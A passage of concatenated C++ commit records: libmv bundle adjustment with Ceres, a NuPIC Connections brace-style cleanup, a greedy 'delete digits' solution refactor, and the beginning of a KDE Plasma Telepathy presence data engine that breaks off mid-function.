*reconstruction,\n                                  vector<Vec6> cameras_R_t) {\n  int max_image = tracks.MaxImage();\n\n  for (int i = 0; i <= max_image; i++) {\n    EuclideanCamera *camera = reconstruction->CameraForImage(i);\n\n    if (!camera)\n      continue;\n\n    ceres::AngleAxisToRotationMatrix(&cameras_R_t[i](0),\n                                     &camera->R(0, 0));\n    camera->t = cameras_R_t[i].tail<3>();\n  }\n}\n\n}  \/\/ namespace\n\nvoid EuclideanBundle(const Tracks &tracks,\n                     EuclideanReconstruction *reconstruction) {\n  CameraIntrinsics intrinsics;\n  EuclideanBundleCommonIntrinsics(tracks,\n                                  BUNDLE_NO_INTRINSICS,\n                                  reconstruction,\n                                  &intrinsics);\n}\n\nvoid EuclideanBundleCommonIntrinsics(const Tracks &tracks,\n                                     int bundle_intrinsics,\n                                     EuclideanReconstruction *reconstruction,\n                                     CameraIntrinsics *intrinsics,\n                                     int bundle_constraints) {\n  LG << \"Original intrinsics: \" << *intrinsics;\n  vector<Marker> markers = tracks.AllMarkers();\n\n  ceres::Problem::Options problem_options;\n  ceres::Problem problem(problem_options);\n\n  \/\/ Residual blocks with 10 parameters are unwieldly with Ceres, so pack the\n  \/\/ intrinsics into a single block and rely on local parameterizations to\n  \/\/ control which intrinsics are allowed to vary.\n  double ceres_intrinsics[8];\n  PackIntrinisicsIntoArray(intrinsics, ceres_intrinsics);\n\n  \/\/ Convert cameras rotations to angle axis and merge with translation\n  \/\/ into single parameter block for maximal minimization speed\n  \/\/\n  \/\/ Block for minimization has got the following structure:\n  \/\/   <3 elements for angle-axis> <3 elements for translation>\n  vector<Vec6> cameras_R_t =\n    PackCamerasRotationAndTranslation(tracks, reconstruction);\n\n  int num_residuals = 0;\n  bool have_locked_camera = false;\n  for (int i = 0; i < markers.size(); ++i) {\n    const Marker &marker = markers[i];\n    EuclideanCamera *camera = reconstruction->CameraForImage(marker.image);\n    EuclideanPoint *point = reconstruction->PointForTrack(marker.track);\n    if (!camera || !point) {\n      continue;\n    }\n\n    \/\/ Rotation of camera denoted in angle axis\n    double *camera_R_t = &cameras_R_t[camera->image] (0);\n\n    problem.AddResidualBlock(new ceres::AutoDiffCostFunction<\n        OpenCVReprojectionError, 2, 8, 6, 3>(\n            new OpenCVReprojectionError(\n                marker.x,\n                marker.y)),\n        NULL,\n        ceres_intrinsics,\n        camera_R_t,\n        &point->X(0));\n\n    \/\/ We lock first camera for better deal with\n    \/\/ scene orientation ambiguity\n    if (!have_locked_camera) {\n      problem.SetParameterBlockConstant(camera_R_t);\n      have_locked_camera = true;\n    }\n\n    if (bundle_constraints & BUNDLE_NO_TRANSLATION)\n      problem.SetParameterBlockConstant(&camera->t(0));\n\n    num_residuals++;\n  }\n  LG << \"Number of residuals: \" << num_residuals;\n\n  if (!num_residuals) {\n    LG << \"Skipping running minimizer with zero residuals\";\n    return;\n  }\n\n  BundleIntrinsicsLogMessage(bundle_intrinsics);\n\n  if (bundle_intrinsics == BUNDLE_NO_INTRINSICS) {\n    \/\/ No camera intrinsics are refining,\n    \/\/ set the whole parameter block as constant for best performance\n    problem.SetParameterBlockConstant(ceres_intrinsics);\n  } else {\n    \/\/ Set intrinsics not being bundles as constant\n\n    std::vector<int> constant_intrinsics;\n#define MAYBE_SET_CONSTANT(bundle_enum, offset) \\\n    if (!(bundle_intrinsics & bundle_enum)) { \\\n      constant_intrinsics.push_back(offset); \\\n    }\n    MAYBE_SET_CONSTANT(BUNDLE_FOCAL_LENGTH,    OFFSET_FOCAL_LENGTH);\n    MAYBE_SET_CONSTANT(BUNDLE_PRINCIPAL_POINT, OFFSET_PRINCIPAL_POINT_X);\n    MAYBE_SET_CONSTANT(BUNDLE_PRINCIPAL_POINT, OFFSET_PRINCIPAL_POINT_Y);\n    MAYBE_SET_CONSTANT(BUNDLE_RADIAL_K1,       OFFSET_K1);\n    MAYBE_SET_CONSTANT(BUNDLE_RADIAL_K2,       OFFSET_K2);\n    MAYBE_SET_CONSTANT(BUNDLE_TANGENTIAL_P1,   OFFSET_P1);\n    MAYBE_SET_CONSTANT(BUNDLE_TANGENTIAL_P2,   OFFSET_P2);\n#undef MAYBE_SET_CONSTANT\n\n    \/\/ Always set K3 constant, it's not used at the moment.\n    constant_intrinsics.push_back(OFFSET_K3);\n\n    ceres::SubsetParameterization *subset_parameterization =\n      new ceres::SubsetParameterization(8, constant_intrinsics);\n\n    problem.SetParameterization(ceres_intrinsics, subset_parameterization);\n  }\n\n  \/\/ Configure the solver\n  ceres::Solver::Options options;\n  options.use_nonmonotonic_steps = true;\n  options.preconditioner_type = ceres::SCHUR_JACOBI;\n  options.linear_solver_type = ceres::ITERATIVE_SCHUR;\n  options.use_inner_iterations = true;\n  options.max_num_iterations = 100;\n\n#ifdef _OPENMP\n  options.num_threads = omp_get_max_threads();\n  options.num_linear_solver_threads = omp_get_max_threads();\n#endif\n\n  \/\/ Solve!\n  ceres::Solver::Summary summary;\n  ceres::Solve(options, &problem, &summary);\n\n  LG << \"Final report:\\n\" << summary.FullReport();\n\n  \/\/ Copy rotations and translations back.\n  UnpackCamerasRotationAndTranslation(tracks,\n                                      reconstruction,\n                                      cameras_R_t);\n\n  \/\/ Copy intrinsics back.\n  if (bundle_intrinsics != BUNDLE_NO_INTRINSICS)\n    UnpackIntrinsicsFromArray(intrinsics, ceres_intrinsics);\n\n  LG << \"Final intrinsics: \" << *intrinsics;\n}\n\nvoid ProjectiveBundle(const Tracks & \/*tracks*\/,\n                      ProjectiveReconstruction * \/*reconstruction*\/) {\n  \/\/ TODO(keir): Implement this! This can't work until we have a better bundler\n  \/\/ than SSBA, since SSBA has no support for projective bundling.\n}\n\n}  \/\/ namespace libmv\n<|endoftext|>"}
{"text":"<commit_before>\/* ---------------------------------------------------------------------\n * Numenta Platform for Intelligent Computing (NuPIC)\n * Copyright (C) 2014, Numenta, Inc.  Unless you have an agreement\n * with Numenta, Inc., for a separate license for this software code, the\n * following terms and conditions apply:\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License version 3 as\n * published by the Free Software Foundation.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n * See the GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see http:\/\/www.gnu.org\/licenses.\n *\n * http:\/\/numenta.org\/licenses\/\n * ----------------------------------------------------------------------\n *\/\n\n\/** @file\n * Implementation of Connections\n *\/\n\n#include <climits>\n#include <nta\/algorithms\/Connections.hpp>\n\nusing namespace std;\nusing namespace nta;\nusing namespace nta::algorithms::connections;\n\nConnections::Connections(CellIdx numCells) : cells_(numCells) {}\n\nSegment Connections::createSegment(const Cell& cell)\n{\n  vector<SegmentData>& segments = cells_[cell.idx].segments;\n  if (segments.size() == UCHAR_MAX) {\n    throw runtime_error(\"Cannot create segment: cell has reached maximum number of segments.\");\n  }\n  Segment segment(segments.size(), cell);\n\n  SegmentData segmentData;\n  segments.push_back(segmentData);\n\n  return segment;\n}\n\nSynapse Connections::createSynapse(const Segment& segment,\n                                   const Cell& presynapticCell,\n                                   Permanence permanence)\n{\n  vector<SynapseData>& synapses = cells_[segment.cell.idx].segments[segment.idx].synapses;\n  if (synapses.size() == UCHAR_MAX) {\n    throw runtime_error(\"Cannot create synapse: segment has reached maximum number of synapses.\");\n  }\n  Synapse synapse(synapses.size(), segment);\n\n  SynapseData synapseData = {presynapticCell, permanence};\n  synapses.push_back(synapseData);\n\n  synapsesForPresynapticCell_[presynapticCell].push_back(synapse);\n\n  return synapse;\n}\n\nvoid Connections::updateSynapsePermanence(const Synapse& synapse,\n                                          Permanence permanence)\n{\n  const Segment& segment = synapse.segment;\n  const Cell& cell = segment.cell;\n\n  cells_[cell.idx].segments[segment.idx].synapses[synapse.idx].permanence = permanence;\n}\n\nvector<Segment> Connections::segmentsForCell(const Cell& cell)\n{\n  vector<Segment> segments;\n  Segment segment;\n\n  for (SegmentIdx i = 0; i < cells_[cell.idx].segments.size(); i++) {\n    segment.idx = i;\n    segment.cell = cell;\n    segments.push_back(segment);\n  }\n\n  return segments;\n}\n\nvector<Synapse> Connections::synapsesForSegment(const Segment& segment)\n{\n  const Cell& cell = segment.cell;\n  vector<Synapse> synapses;\n  Synapse synapse;\n\n  for (SynapseIdx i = 0; i < cells_[cell.idx].segments[segment.idx].synapses.size(); i++) {\n    synapse.idx = i;\n    synapse.segment = segment;\n    synapses.push_back(synapse);\n  }\n\n  return synapses;\n}\n\nSynapseData Connections::dataForSynapse(const Synapse& synapse) const\n{\n  const Segment& segment = synapse.segment;\n  const Cell& cell = segment.cell;\n\n  return cells_[cell.idx].segments[segment.idx].synapses[synapse.idx];\n}\n\nbool Connections::mostActiveSegmentForCells(const vector<Cell>& cells,\n                                            vector<Cell> input,\n                                            UInt synapseThreshold,\n                                            Segment& retSegment) const\n{\n  UInt numSynapses, maxSynapses = synapseThreshold;\n  vector<SegmentData> segments;\n  vector<SynapseData> synapses;\n  SegmentIdx segmentIdx = 0;\n  bool found = false;\n\n  sort(input.begin(), input.end());  \/\/ for binary search\n\n  for (auto cell : cells) {\n    segments = cells_[cell.idx].segments;\n    segmentIdx = 0;\n\n    for (auto segment : segments) {\n      synapses = segment.synapses;\n      numSynapses = 0;\n\n      for (auto synapse : synapses) {\n        if (binary_search(input.begin(), input.end(), synapse.presynapticCell)) {\n          numSynapses++;\n        }\n      }\n\n      if (numSynapses >= maxSynapses) {\n        maxSynapses = numSynapses;\n        retSegment.idx = segmentIdx;\n        retSegment.cell = cell;\n        found = true;\n      }\n\n      segmentIdx++;\n    }\n  }\n\n  return found;\n}\n\nActivity Connections::computeActivity(const vector<Cell>& input,\n                                      Permanence permanenceThreshold,\n                                      UInt synapseThreshold) const\n{\n  Activity activity;\n  vector<Synapse> synapses;\n  SynapseData synapseData;\n\n  for (auto cell : input) {\n    if (!synapsesForPresynapticCell_.count(cell)) continue;\n    synapses = synapsesForPresynapticCell_.at(cell);\n\n    for (auto synapse : synapses) {\n      synapseData = dataForSynapse(synapse);\n\n      if (synapseData.permanence >= permanenceThreshold) {\n        activity.numActiveSynapsesForSegment[synapse.segment] += 1;\n\n        if (activity.numActiveSynapsesForSegment[synapse.segment] == synapseThreshold) {\n          activity.activeSegmentsForCell[synapse.segment.cell].push_back(synapse.segment);\n        }\n      }\n    }\n  }\n\n  return activity;\n}\n\nvector<Segment> Connections::activeSegments(const Activity& activity)\n{\n  vector<Segment> segments;\n\n  for (auto i : activity.activeSegmentsForCell) {\n    segments.insert(segments.end(), i.second.begin(), i.second.end());\n  }\n\n  return segments;\n}\n\nvector<Cell> Connections::activeCells(const Activity& activity)\n{\n  vector<Cell> cells;\n\n  for (auto i : activity.activeSegmentsForCell) {\n    cells.push_back(i.first);\n  }\n\n  return cells;\n}\n\nUInt Connections::numSegments() const\n{\n  UInt num = 0;\n\n  for (auto cell : cells_) {\n    num += cell.segments.size();\n  }\n\n  return num;\n}\n\nUInt Connections::numSynapses() const\n{\n  UInt num = 0;\n\n  for (auto cell : cells_) {\n    for (auto segment : cell.segments) {\n      num += segment.synapses.size();\n    }\n  }\n\n  return num;\n}\n\nbool Cell::operator==(const Cell &other) const {\n  return idx == other.idx;\n}\n\nbool Cell::operator<=(const Cell &other) const\n{\n  return idx <= other.idx;\n}\n\nbool Cell::operator<(const Cell &other) const\n{\n  return idx < other.idx;\n}\n\nbool Cell::operator>=(const Cell &other) const\n{\n  return idx >= other.idx;\n}\n\nbool Cell::operator>(const Cell &other) const\n{\n  return idx > other.idx;\n}\n\nbool Segment::operator==(const Segment &other) const\n{\n  return idx == other.idx && cell == other.cell;\n}\n\nbool Segment::operator<=(const Segment &other) const\n{\n  return idx == other.idx ? cell <= other.cell : idx <= other.idx;\n}\n\nbool Segment::operator<(const Segment &other) const\n{\n  return idx == other.idx ? cell < other.cell : idx < other.idx;\n}\n\nbool Segment::operator>=(const Segment &other) const\n{\n  return idx == other.idx ? cell >= other.cell : idx >= other.idx;\n}\n\nbool Segment::operator>(const Segment &other) const\n{\n  return idx == other.idx ? cell > other.cell : idx > other.idx;\n}\n\nbool Synapse::operator==(const Synapse &other) const {\n  return idx == other.idx && segment == other.segment;\n}\n<commit_msg>Reluctantly following code convention<commit_after>\/* ---------------------------------------------------------------------\n * Numenta Platform for Intelligent Computing (NuPIC)\n * Copyright (C) 2014, Numenta, Inc.  Unless you have an agreement\n * with Numenta, Inc., for a separate license for this software code, the\n * following terms and conditions apply:\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License version 3 as\n * published by the Free Software Foundation.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n * See the GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see http:\/\/www.gnu.org\/licenses.\n *\n * http:\/\/numenta.org\/licenses\/\n * ----------------------------------------------------------------------\n *\/\n\n\/** @file\n * Implementation of Connections\n *\/\n\n#include <climits>\n#include <nta\/algorithms\/Connections.hpp>\n\nusing namespace std;\nusing namespace nta;\nusing namespace nta::algorithms::connections;\n\nConnections::Connections(CellIdx numCells) : cells_(numCells) {}\n\nSegment Connections::createSegment(const Cell& cell)\n{\n  vector<SegmentData>& segments = cells_[cell.idx].segments;\n  if (segments.size() == UCHAR_MAX)\n  {\n    throw runtime_error(\"Cannot create segment: cell has reached maximum number of segments.\");\n  }\n  Segment segment(segments.size(), cell);\n\n  SegmentData segmentData;\n  segments.push_back(segmentData);\n\n  return segment;\n}\n\nSynapse Connections::createSynapse(const Segment& segment,\n                                   const Cell& presynapticCell,\n                                   Permanence permanence)\n{\n  vector<SynapseData>& synapses = cells_[segment.cell.idx].segments[segment.idx].synapses;\n  if (synapses.size() == UCHAR_MAX)\n  {\n    throw runtime_error(\"Cannot create synapse: segment has reached maximum number of synapses.\");\n  }\n  Synapse synapse(synapses.size(), segment);\n\n  SynapseData synapseData = {presynapticCell, permanence};\n  synapses.push_back(synapseData);\n\n  synapsesForPresynapticCell_[presynapticCell].push_back(synapse);\n\n  return synapse;\n}\n\nvoid Connections::updateSynapsePermanence(const Synapse& synapse,\n                                          Permanence permanence)\n{\n  const Segment& segment = synapse.segment;\n  const Cell& cell = segment.cell;\n\n  cells_[cell.idx].segments[segment.idx].synapses[synapse.idx].permanence = permanence;\n}\n\nvector<Segment> Connections::segmentsForCell(const Cell& cell)\n{\n  vector<Segment> segments;\n  Segment segment;\n\n  for (SegmentIdx i = 0; i < cells_[cell.idx].segments.size(); i++)\n  {\n    segment.idx = i;\n    segment.cell = cell;\n    segments.push_back(segment);\n  }\n\n  return segments;\n}\n\nvector<Synapse> Connections::synapsesForSegment(const Segment& segment)\n{\n  const Cell& cell = segment.cell;\n  vector<Synapse> synapses;\n  Synapse synapse;\n\n  for (SynapseIdx i = 0; i < cells_[cell.idx].segments[segment.idx].synapses.size(); i++)\n  {\n    synapse.idx = i;\n    synapse.segment = segment;\n    synapses.push_back(synapse);\n  }\n\n  return synapses;\n}\n\nSynapseData Connections::dataForSynapse(const Synapse& synapse) const\n{\n  const Segment& segment = synapse.segment;\n  const Cell& cell = segment.cell;\n\n  return cells_[cell.idx].segments[segment.idx].synapses[synapse.idx];\n}\n\nbool Connections::mostActiveSegmentForCells(const vector<Cell>& cells,\n                                            vector<Cell> input,\n                                            UInt synapseThreshold,\n                                            Segment& retSegment) const\n{\n  UInt numSynapses, maxSynapses = synapseThreshold;\n  vector<SegmentData> segments;\n  vector<SynapseData> synapses;\n  SegmentIdx segmentIdx = 0;\n  bool found = false;\n\n  sort(input.begin(), input.end());  \/\/ for binary search\n\n  for (auto cell : cells)\n  {\n    segments = cells_[cell.idx].segments;\n    segmentIdx = 0;\n\n    for (auto segment : segments)\n    {\n      synapses = segment.synapses;\n      numSynapses = 0;\n\n      for (auto synapse : synapses)\n      {\n        if (binary_search(input.begin(), input.end(), synapse.presynapticCell))\n        {\n          numSynapses++;\n        }\n      }\n\n      if (numSynapses >= maxSynapses)\n      {\n        maxSynapses = numSynapses;\n        retSegment.idx = segmentIdx;\n        retSegment.cell = cell;\n        found = true;\n      }\n\n      segmentIdx++;\n    }\n  }\n\n  return found;\n}\n\nActivity Connections::computeActivity(const vector<Cell>& input,\n                                      Permanence permanenceThreshold,\n                                      UInt synapseThreshold) const\n{\n  Activity activity;\n  vector<Synapse> synapses;\n  SynapseData synapseData;\n\n  for (auto cell : input)\n  {\n    if (!synapsesForPresynapticCell_.count(cell)) continue;\n    synapses = synapsesForPresynapticCell_.at(cell);\n\n    for (auto synapse : synapses)\n    {\n      synapseData = dataForSynapse(synapse);\n\n      if (synapseData.permanence >= permanenceThreshold)\n      {\n        activity.numActiveSynapsesForSegment[synapse.segment] += 1;\n\n        if (activity.numActiveSynapsesForSegment[synapse.segment] == synapseThreshold)\n        {\n          activity.activeSegmentsForCell[synapse.segment.cell].push_back(synapse.segment);\n        }\n      }\n    }\n  }\n\n  return activity;\n}\n\nvector<Segment> Connections::activeSegments(const Activity& activity)\n{\n  vector<Segment> segments;\n\n  for (auto i : activity.activeSegmentsForCell)\n  {\n    segments.insert(segments.end(), i.second.begin(), i.second.end());\n  }\n\n  return segments;\n}\n\nvector<Cell> Connections::activeCells(const Activity& activity)\n{\n  vector<Cell> cells;\n\n  for (auto i : activity.activeSegmentsForCell)\n  {\n    cells.push_back(i.first);\n  }\n\n  return cells;\n}\n\nUInt Connections::numSegments() const\n{\n  UInt num = 0;\n\n  for (auto cell : cells_)\n  {\n    num += cell.segments.size();\n  }\n\n  return num;\n}\n\nUInt Connections::numSynapses() const\n{\n  UInt num = 0;\n\n  for (auto cell : cells_)\n  {\n    for (auto segment : cell.segments)\n    {\n      num += segment.synapses.size();\n    }\n  }\n\n  return num;\n}\n\nbool Cell::operator==(const Cell &other) const\n{\n  return idx == other.idx;\n}\n\nbool Cell::operator<=(const Cell &other) const\n{\n  return idx <= other.idx;\n}\n\nbool Cell::operator<(const Cell &other) const\n{\n  return idx < other.idx;\n}\n\nbool Cell::operator>=(const Cell &other) const\n{\n  return idx >= other.idx;\n}\n\nbool Cell::operator>(const Cell &other) const\n{\n  return idx > other.idx;\n}\n\nbool Segment::operator==(const Segment &other) const\n{\n  return idx == other.idx && cell == other.cell;\n}\n\nbool Segment::operator<=(const Segment &other) const\n{\n  return idx == other.idx ? cell <= other.cell : idx <= other.idx;\n}\n\nbool Segment::operator<(const Segment &other) const\n{\n  return idx == other.idx ? cell < other.cell : idx < other.idx;\n}\n\nbool Segment::operator>=(const Segment &other) const\n{\n  return idx == other.idx ? cell >= other.cell : idx >= other.idx;\n}\n\nbool Segment::operator>(const Segment &other) const\n{\n  return idx == other.idx ? cell > other.cell : idx > other.idx;\n}\n\nbool Synapse::operator==(const Synapse &other) const\n{\n  return idx == other.idx && segment == other.segment;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Time:  O(n)\n\/\/ Space: O(n)\n\/\/\n\/\/ Given string A representative a positive integer which has N digits,\n\/\/ remove any k digits of the number, the remaining digits are arranged\n\/\/ according to the original order to become a new positive integer.\n\/\/ Make this new positive integers as small as possible.\n\/\/\n\/\/ N <= 240 and k <= N,\n\/\/\n\/\/ Example\n\/\/ Given an integer A=\"178542\", k=4\n\/\/\n\/\/ return a string \"12\"\n\/\/\nclass Solution {\npublic:\n    \/**\n     *@param A: A positive integer which has N digits, A is a string.\n     *@param k: Remove k digits.\n     *@return: A string\n     *\/\n    string DeleteDigits(string A, int k) {\n        const auto len = A.size();\n\n        \/\/ Handle boundary case\n        if (len == k) {\n            return \"0\";\n        }\n\n        \/\/ If a digit is greater than next one, delete it.\n        stack<char> s;\n        for (auto i = 0; i < len; ++i) {\n            while (k > 0 && !s.empty() && s.top() > A[i]) {\n                s.pop();\n                --k;\n            }\n            s.emplace(A[i]);\n        }\n\n        \/\/ If all digits are increasingly sorted, delete last.\n        while (k > 0) {\n            s.pop();\n            --k;\n        }\n\n        \/\/ Assemble the answer in reverse order\n        string ans;\n        while (!s.empty()) {\n            ans.push_back(s.top());\n            s.pop();\n        }\n        reverse(ans.begin(), ans.end());\n\n        \/\/ Strip all leading '0'\n        auto i = 0;\n        for (; i < ans.length() && ans[i] == '0'; ++i);\n        ans = ans.substr(i);\n\n        \/\/ Handle boundary case\n        if (ans.length() == 0) {\n            return \"0\";\n        }\n\n        return ans;\n    }\n};\n\n\/\/ Time:  O(k * n)\n\/\/ Space: O(1)\n\/\/ Greedy method\nclass Solution2 {\npublic:\n    \/**\n     *@param A: A positive integer which has N digits, A is a string.\n     *@param k: Remove k digits.\n     *@return: A string\n     *\/\n    string DeleteDigits(string A, int k) {\n        const auto len = A.size();\n\n        \/\/ Handle boundary case\n        if (len == k) {\n            return \"0\";\n        }\n\n        \/\/ If a digit is greater than next one, delete it.\n        int i = 0;\n        while (i + 1 <= len && k > 0) {\n            if (A[i] > A[i + 1]) {\n                A.erase(A.begin() + i); \/\/ Not efficient, linear time\n                i = max(0, i - 1);\n                --k;\n            } else {\n                ++i;\n            }\n        }\n\n        \/\/ If all digits are increasingly sorted, delete last.\n        if (k > 0) {\n            A = A.substr(0, A.length() - k);\n        }\n\n        \/\/ Strip all leading '0'\n        if (A.length() > 0 && A[0] == '0') {\n            size_t pos = A.find_first_not_of(\"0\");\n            if (pos != string::npos) {\n                A = A.substr(A.find_first_not_of(\"0\"));\n            }\n        }\n\n        \/\/ Handle boundary case\n        if (A.length() == 0) {\n            return \"0\";\n        }\n\n        return A;\n    }\n};\n\n\n<commit_msg>Update delete-digits.cpp<commit_after>\/\/ Time:  O(n)\n\/\/ Space: O(n)\n\/\/\n\/\/ Given string A representative a positive integer which has N digits,\n\/\/ remove any k digits of the number, the remaining digits are arranged\n\/\/ according to the original order to become a new positive integer.\n\/\/ Make this new positive integers as small as possible.\n\/\/\n\/\/ N <= 240 and k <= N,\n\/\/\n\/\/ Example\n\/\/ Given an integer A=\"178542\", k=4\n\/\/\n\/\/ return a string \"12\"\n\/\/\n\nclass Solution {\npublic:\n    \/**\n     *@param A: A positive integer which has N digits, A is a string.\n     *@param k: Remove k digits.\n     *@return: A string\n     *\/\n    string DeleteDigits(string A, int k) {\n        \/\/ If a digit is greater than next one, delete it.\n        string s;\n        for (auto i = 0; i < A.size(); ++i) {\n            while (k > 0 && !s.empty() && s.back() > A[i]) {\n                s.pop_back();\n                --k;\n            }\n            s.push_back(A[i]);\n        }\n\n        \/\/ If all digits are increasingly sorted, delete last.\n        while (k > 0) {\n            s.pop_back();\n            --k;\n        }\n\n        \/\/ Strip all leading '0'\n        return s.empty() ? \"0\" : s.substr(s.find_first_not_of(\"0\"));\n    }\n};\n\n\/\/ Time:  O(k * n)\n\/\/ Space: O(1)\n\/\/ Greedy method\nclass Solution2 {\npublic:\n    \/**\n     *@param A: A positive integer which has N digits, A is a string.\n     *@param k: Remove k digits.\n     *@return: A string\n     *\/\n    string DeleteDigits(string A, int k) {\n        \/\/ If a digit is greater than next one, delete it.\n        for (int i = 0; i + 1 <= A.size() && k > 0;) {\n            if (A[i] > A[i + 1]) {\n                A.erase(A.begin() + i); \/\/ Not efficient, linear time\n                i = max(0, i - 1);\n                --k;\n            } else {\n                ++i;\n            }\n        }\n\n        \/\/ If all digits are increasingly sorted, delete last.\n        A.resize(A.length() - k);\n\n        \/\/ Strip all leading '0'\n        return A.empty() ? \"0\" : A.substr(A.find_first_not_of(\"0\"));\n    }\n};\n\n\n<|endoftext|>"}
{"text":"<commit_before>\/*\n *   Copyright (C) 2008 George Goldberg <grundleborg@googlemail.com>\n *\n *   This program is free software; you can redistribute it and\/or modify\n *   it under the terms of the GNU Library General Public License version 2 as\n *   published by the Free Software Foundation\n *\n *   This program is distributed in the hope that it will be useful,\n *   but WITHOUT ANY WARRANTY; without even the implied warranty of\n *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *   GNU Library General Public License for more details\n *\n *   You should have received a copy of the GNU Library General Public\n *   License along with this program; if not, write to the\n *   Free Software Foundation, Inc.,\n *   51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n *\/\n\n#include \"presence.h\"\n\n#include <TelepathyQt4\/Client\/Account>\n#include <TelepathyQt4\/Client\/AccountManager>\n\n#include <KDebug>\n#include <KLocale>\n#include <KUrl>\n\n#include <QtCore\/QDateTime>\n#include <QtCore\/QTimer>\n\nclass PresenceEngine::PresenceEnginePrivate\n{\n\tPresenceEngine *parent;\npublic:\n\tPresenceEnginePrivate(PresenceEngine *p) : parent(p) {}\n\t\n\tTelepathy::Client::AccountManager * m_accountManager;\n\t\n\tvoid createAccountDataSource(const QDBusObjectPath &path)\n\t{\n\t\t\/\/ \\todo: FIXME\n\t\tkDebug() << \"createAccountDataSource called\";\n\t\tkDebug() << path.path();\n\t    Telepathy::Client::Account *account = accountFromObjectPath(path);\n\n\t    QString source;\n\t    \/\/ \\todo: FIXME\n\t    \/\/ source = account.uniqueIdentifier();\n\t    Telepathy::SimplePresence sp = account->currentPresence();\n\t    QVariant vsp;\n\t    vsp.setValue(sp);\n\t    parent->setData(source, \"current_presence\", vsp);\n\t    \n\t\t\/\/ emit parent->sourceAdded(account->uniqueIdentifier());\n\n\t\t\/\/ \\todo: remove\n\/*\n\t\t\tQString source;\n\t\t    source.setNum(handle);\n\t\t    QVariantMap accountData = m_accountManager->queryAccount(handle);\n\t\t    QMap<QString, QVariant>::const_iterator end( accountData.constEnd() );\n\t\t    for(QMap<QString, QVariant>::const_iterator itr(accountData.constBegin()); itr != end; ++itr)\n\t\t    {\n\t\t        if(itr.key() == Decibel::name_current_presence)\n\t\t        {\n\t\t            QtTapioca::PresenceState ps = qdbus_cast<QtTapioca::PresenceState>(itr.value().value<QDBusArgument>());\n\t\t            QVariant psv;\n\t\t            psv.setValue(ps);\n\t\t            setData(source, \"current_presence\", psv);\n\t\t            continue;\n\t\t        }\n\t\t        else if(itr.key() == Decibel::name_presence_parameters)\n\t\t        {\n\t\t            setData(source, \"status_message\", itr.value().toMap().value(\"status_message\").toString());\n\t\t        }\n\t\t    }\n\t\t\n\t\temit parent->sourceAdded(account->uniqueIdentifier());\n*\/\n\t}\n\t\n\tvoid removeAccountDataSource(const QDBusObjectPath &path)\n\t{\n\t\tkDebug() << \"removeAccountDataSource called\";\n\t\tkDebug() << path.path();\n\t\t\n\t\tTelepathy::Client::Account *account = accountFromObjectPath(path);\n\t\t\n\t\t\/\/ \\todo: FIXME\n\/*\n\t\tQString identifier = account->uniqueIdentifier();\n\t\tparent->removeSource(identifier);\n\t\temit parent->sourceRemoved(identifier);\n*\/\n\t}\n\t\n\tTelepathy::Client::Account *accountFromObjectPath(const QDBusObjectPath &path)\n\t{\n\t\treturn m_accountManager->accountForPath(path);\n\t}\n};\n\nPresenceEngine::PresenceEngine(QObject * parent, const QVariantList & args)\n  : Plasma::DataEngine(parent, args),\n  d(new PresenceEnginePrivate(this))\n{\n    \/\/ Register custom types:\n    Telepathy::registerTypes();\n}\n\nPresenceEngine::~PresenceEngine()\n{\n\tdelete d->m_accountManager;\n\tdelete d;\n}\n\nvoid\nPresenceEngine::init()\n{\n    kDebug() << \"init() started\";\n    \/*\n     * check that we are connected to the session\n     * bus OK.\n     *\/\n    if (!QDBusConnection::sessionBus().isConnected())\n    {\n        kDebug() << \"PresenceEngine::init(): cannot connect to session bus.\";\n    }\n\n   \/*\n    * set up the dbus accountmanager object\n    * which will provide all the data to this\n    * data engine.\n    *\/\n    d->m_accountManager = \n    \tnew Telepathy::Client::AccountManager(QDBusConnection::sessionBus());\n    \n    \/*\n     * get a list of all the accounts that\n     * are all ready there\n     *\/\n    QList<Telepathy::Client::Account *> accounts = d->m_accountManager->allAccounts();\n    kDebug() << \"accounts: \" << accounts.size();\n    \n    Telepathy::ObjectPathList objectPathList = d->m_accountManager->allAccountPaths();\n    \/*\n     * connect signals from the account manager\n     * to slots within this data engine.\n     *\n     * we intentionally do this before processing\n     * the accounts that are already created so\n     * that if another is created while we are\n     * processing them, we don't miss out on it.\n     *\/\n    connect(d->m_accountManager, SIGNAL(accountCreated(const QDBusObjectPath &)),\n            this, SLOT(accountCreated(const QDBusObjectPath &)));\n    connect(d->m_accountManager, SIGNAL(accountValidityChanged(const QDBusObjectPath &, bool)),\n            this, SLOT(accountValidityChanged(const QDBusObjectPath &, bool)));\n    connect(d->m_accountManager, SIGNAL(accountRemoved(const QDBusObjectPath &)),\n            this, SLOT(accountRemoved(const QDBusObjectPath &)));\n\n    \/*\n     * create a datasource for each\n     * of the accounts we got in the list.\n     *\/\n    foreach(const QDBusObjectPath &path, objectPathList)\n    {\n        d->createAccountDataSource(path);\n    }\n}\n\nbool\nPresenceEngine::sourceRequestEvent(const QString & name)\n{\n    \/*\n     * if the visualisation requests a\n     * source that is not already there\n     * then it doesn't exist, so return\n     * false\n     *\/\n    Q_UNUSED(name);\n    return false;\n}\n\nvoid\nPresenceEngine::accountCreated(const QDBusObjectPath &path)\n{\n    kDebug() << \"accountCreated() called\";\n    \/\/ Load the data for the new account. To avoid duplicating code, we treat\n    \/\/ this just as if an account was updated, and call the method to handle\n    \/\/ that.\n    d->createAccountDataSource(path);\n}\n\nvoid\nPresenceEngine::accountValidityChanged(const QDBusObjectPath &path, bool valid)\n{\n\tQ_UNUSED(valid);\n    kDebug() << \"accountValidityChanged() called\";\n    \/*\n     * slot called when an account has\n     * been updated.\n     *\/\n    d->createAccountDataSource(path);\n}\n\nvoid\nPresenceEngine::accountRemoved(const QDBusObjectPath &path)\n{\n    kDebug() << \"uint handle() called\";\n    